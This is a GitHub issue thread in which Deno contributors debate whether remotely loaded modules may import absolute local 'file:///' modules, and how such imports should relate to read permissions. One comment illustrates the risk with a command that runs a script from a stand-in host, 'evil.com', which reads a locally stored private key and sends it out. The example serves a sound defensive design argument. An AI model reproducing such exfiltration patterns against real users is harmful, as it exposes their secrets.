Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Remote modules should not be able to import absolute local modules ("file:///") #2768

Closed
ry opened this issue Aug 12, 2019 · 12 comments
Closed
Labels
permissions related to --allow-* flags

Comments

@ry
Copy link
Member

ry commented Aug 12, 2019

No description provided.

@teleclimber
Copy link

I'm not sure about this? Imagine a module that ingests json files and runs some operation on the data. It's convenient to implement that using import("/some/data.json") after giving the module a path to operate on. But if it's written that way, that means the script can not be hosted remotely.

But that's arbitrary. It doesn't matter that the script is local or that it's remote. What matters is that it is only able to read the JSON that the user wants to allow reading.

If anything it adds confusion. Someone might expect to be able to run $ deno --allow-read https://coolscripts.com/json-data-munger.js /path/to/jsons and it will fail with some permission denied error even though it has read access.

@kevinkassimo
Copy link
Contributor

kevinkassimo commented Aug 13, 2019

I tend to feel both operations are necessary.

I do feel JSON files are more or less data files, and importing JSON files are conveniences for loading these data, which is why --allow-read sounds good to me.

In the meantime, I also feel importing any local files by a remote source sounds bad. Not just for the case of security (since there are still chances that people leave sensitive data in local files they never intend a remote script to import), but such ability also means that remote source would just crash on local source not found, making the dependency fragile: the same code might run or crash given the context of client without any chance of error handling (I'm mostly referring to static import, but the remote should not be able to tell if the user is doing static or dynamic anyways), instead of being self-contained (or appearing self-contained to the client if itself imports from third-party). IMHO it could be considered as an antipattern.

@kitsonk
Copy link
Contributor

kitsonk commented Aug 13, 2019

I think it is bad design for a remote module to ever expect a fixed local resource. If remote code needs configuration information, it should be resolved locally and passed. Tight coupling of remote modules to local resources just is begging for problems.

I can't see a good reason why remote modules would need the ability to import anything locally.

@teleclimber
Copy link

I can't see a good reason why remote modules would need the ability to import anything locally.

It's not clear to me why we are drawing such a strong distinction between "remote" modules and local modules.

"Remote" modules are not really "remote". They are locally run code that just happen to be identified by and downloaded from an URL. It's not like the module is executed on the remote server.

All 3rd party modules are "remote" by that definition. Meaning that they reside on some server and are downloaded by requesting their url. Whether you download it and save it manually, or you use some package manager to fetch it, or you refer to the url from within the Deno script, it's the same script. How does saving it locally somehow change the security picture?

The problem with treating "remote" modules differently is that it makes deno scripts far harder to use. In demos Ryan likes to show how you can run Deno scripts from the command line just by pasting a URL. I love that about Deno, but if any module or sub-module does something that "remote" modules aren't allowed to do, then the script will fail.

Treating "remote" modules differently is splitting the world of Deno modules in two: there are those modules that work remotely and those that don't. I think this will lead to poor UX and DevX, and it doesn't meaningfully improve the security picture.

@kevinkassimo
Copy link
Contributor

I would say that while "remote" modules are cached at local, they are conceptually a "snapshot" of an entity that does not reside on this machine -- like an always up-and-running server.

My understanding of the difference between remote and local files is that you give high trust to your local entity, while giving limited trust to remote entity. Importing a remote entity in your local entity downgrades your trust of the whole running process to that of remote entity.

A example security breach I have with file:// imports is like the follows:
Suppose you want to use a script that helps you visit crawl some web data and display a summary to the terminal. Thus you do not want to give it any read or write permission to the local files, but only to net. And suppose you have a JS file that contains sensitive data:

// In practice I do know quite some people
// do this instead of using JSON files or env var
export const PRIV_KEY = "priv_key";

Then the evil remote script can just (statically, if we add remote allow-read perm restriction) import your local data and send as a network request to one of its server -- which you likely have to "trust" in cli flags. Notice that you never did grant ANY --allow-read of fs in the process, but local read still happens.

This is even worse when you just run directly a remote script without even writing imports yourself:

deno --allow-net=google.com,evil.com https://evil.com/cryptocurrency-price-summary.ts

If you are worried about inconveniences, I was thinking about if we could support dynamic import from data URLs (I'm not so sure if there are any proposals on this, doubt it). In that case, under read permission, you could request reading from a local file and construct the url for import, which both would go through read perm check. (Though it is debatable if the will be any actual feature request for such.)

I also start to think about the semantics of file:// in static import statements, since import resolution is conceptually different from resolution with read/write APIs. As servers are also technically machines, a file:/// import from the viewpoint of server itself should also be importing from its own root -- instead of from the client which might request to use the script. I would prefer static import to be always stable no matter which context it is under, from the base case I mentioned before about whether a file presents locally, to here whether the script is run from server itself, to on different clients. The possible difference in file:/// interpretations in static import with no chance of handling (thus fragile; while read/write APIs can) does not sound right to me.

@kitsonk
Copy link
Contributor

kitsonk commented Aug 13, 2019

In demos Ryan likes to show how you can run Deno scripts from the command line just by pasting a URL.

Yes, that is great, but again, like a browser, you design for no local file system information. Remote is all remote, local is local. Having remote have knowledge about local is bad design, and a huge security risk. This is why it is difficult if not impossible to access local files from remote code in browsers. If you have local "requirements" outside of Deno itself for remote code, it is bad design IMO. It totally breaks the value of "just typing a URL".

Having fixed paths, non-relative, is also bad design. It makes code not portable and fragile. It is like "you will only ever need 64kb of memory" type decisions.

@bartlomieju
Copy link
Member

As an example for using local files from remote module take a look at denoland/std#564.

It's a test runner. It's a module of deno_std and is hosted remotely (https://deno.land/std/) and it's one and only job is to look for test files. I think that using --allow-read to control dynamic import permission is a valid solution.

@apiel
Copy link

apiel commented May 30, 2020

I am right now writting a static site generator and I am importing local files from a remote module.

To install my generator, I do deno install, this create a script calling the generator from my repo. But the source code of the site is locally. So to generate the site, I run the command generator ./site where the folder site contain a list of pages e.g.: ./site/index.ts ./site/hello.ts ...

Please don't remove the possibilty to import from file// or at least provide a parameter to give the permission like --allow-local-import

@teleclimber
Copy link

@apiel Your use case is exactly what I was talking about in my original reply. My view is you should be able to add --allow-read=./site to your command and it should work. Local imports follow file read permissions IMO.

@lucacasonato
Copy link
Member

I think this issue is resolved. Static imports from remote -> local modules are not possible anymore, and dynamic imports to local files pass through the regular permission checks for dynamic imports, so they are safe.

@cawoodm
Copy link

cawoodm commented Oct 8, 2021

I'm new to Deno and I follow the reasoning here about portability but in any project with more than one Module how does one import local modules?? Looking at code like this it seems to be allowed so why is the Deno compiler moaning?

image

@bartlomieju
Copy link
Member

I'm new to Deno and I follow the reasoning here about portability but in any project with more than one Module how does one import local modules?? Looking at code like this it seems to be allowed so why is the Deno compiler moaning?

image

The error you're seeing is not related to this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
permissions related to --allow-* flags
Projects
None yet
Development

No branches or pull requests

8 participants